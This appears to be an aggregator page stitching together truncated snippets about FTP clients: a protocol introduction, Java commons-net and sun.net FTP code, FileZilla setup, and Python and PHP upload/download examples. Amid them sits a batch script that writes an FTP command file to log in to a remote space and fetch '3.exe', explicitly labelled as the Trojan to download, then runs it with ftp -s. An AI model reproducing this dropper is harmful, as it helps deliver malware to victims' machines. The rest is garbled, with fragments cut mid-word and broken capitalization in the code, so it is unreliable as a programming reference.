Design and implementation of FTP multi-threaded download
National Defense Science and Technology University Microsoft Club Introduction to the FTP protocolFile TRANSFER PROTOCOL (FTP) is a document transfer protocol that manages file t
1.FTP Automatic Login Download file-N is not affected by the. netrc file. (FTP defaults to read settings in the. netrc file)! is a sign of an instant file it must appear in pairs to identify the start and end of instant files binary-set file Transfer type binary (binary transfer) prompt-switch interaction hint (default is on) close-end F TP session and return to
Some data exchange needs to be completed through FTP. For FTP clients, Java provides us with powerful class libraries. Common examples include sun.net. FTP. ftpclient and org.apache.commons.net. FTP. ftpclient (provided by Apach ). Both of them are quite useful. In comparison, the latter has better functions. Sun.net.
For more detailed information, please see below:
Using an FTP server is a good choice for applications that use files for interactive data. This article uses Apache Jakarta Commons Net (Commons-net-3.3.jar) to implement an upload/download/delete of files on an FTP server based on FileZilla server servers.
For more detailed configuration procedures for FileZilla
@ Echo open www.xxx.com> 1.txt "// change open 237927142.vicp.net to your FTP Space@ Echo 123> 1.txt "// FTP space user@ Echo 123> 1.txt "// FTP space Password@ Echo get 3.exe>> 1.txt "// Trojan file name to be downloaded@ Echo bye> 1.txt "// exit the FTP Space@ FTP-S: 1.txt
Download the latest package from commons-net and introduce it into the project.
The following is the relevant example code:
Package com.ffcs.icity.common.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import java.io.FileNotFoundException;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Java.io.InputStream;
Import Java.io.OutputStream;
Import org.apache.commons.net.ftp.FTPClient;
Import Org.apache.commons.net.ftp.FTPFi
change.The following is to introduce the second method, the second method is relatively simple, is to use already ready-made filezillaserver this software, the software is small and practical, a total of 2 m, on the Baidu search download and install Open is good basically all with the default settings is enough12. Open after this interface, we use the local address, the port where the default 14147 is good, in fact, or 21, to modify the port, the fir
(hostname, port);
Login to FTP server Ftpclient.login (username, password);
Verify that the FTP server is logged on successfully int replycode = Ftpclient.getreplycode (); if (!
Ftpreply.ispositivecompletion (Replycode)) {return flag; }//Toggle FTP directory Ftpclient.changeworkingdirectory (PathnaME);
Ftpclient.dele (filename);
Ftp
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
This article describes a Python implementation method that supports directory FTP upload and download files. Share to everyone for your reference. Specific as follows:
The program supports FTP uploads to download files and directories, for Windows and Linux platforms.
#!/usr/bin/env python#-*-coding:utf-8-*-import ftp
FTP is the English abbreviation for file Transfer Protocol (document Transfer Protocol), while Chinese is called "the Protocol". A two-way transmission of control files for use on the Internet. At the same time, it is also an application (application). There are different FTP applications based on different operating systems, and all of these applications adhere to the same protocol to transfer files. In th
This article mainly introduces php ftp operations, including FTP upload, FTP download, FTP mobile, and FTP creation, if you are interested, you can refer to this article for details on FTP
Python implements simple FTP to upload and download file instances,
This example describes how to upload and download files through simple FTP implemented by python. Share it with you for your reference. The details are as follows:
Python itself comes with an FTP module to i
This example for you to share the two Java ftp file upload to download the way for you to refer to, the specific content as follows
The first way:
Package com.cloudpower.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Sun.net.TelnetInputStream;
Import Sun.net.TelnetOutputStream;
Import sun.net.ftp.FtpClient; /** * Java-br
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.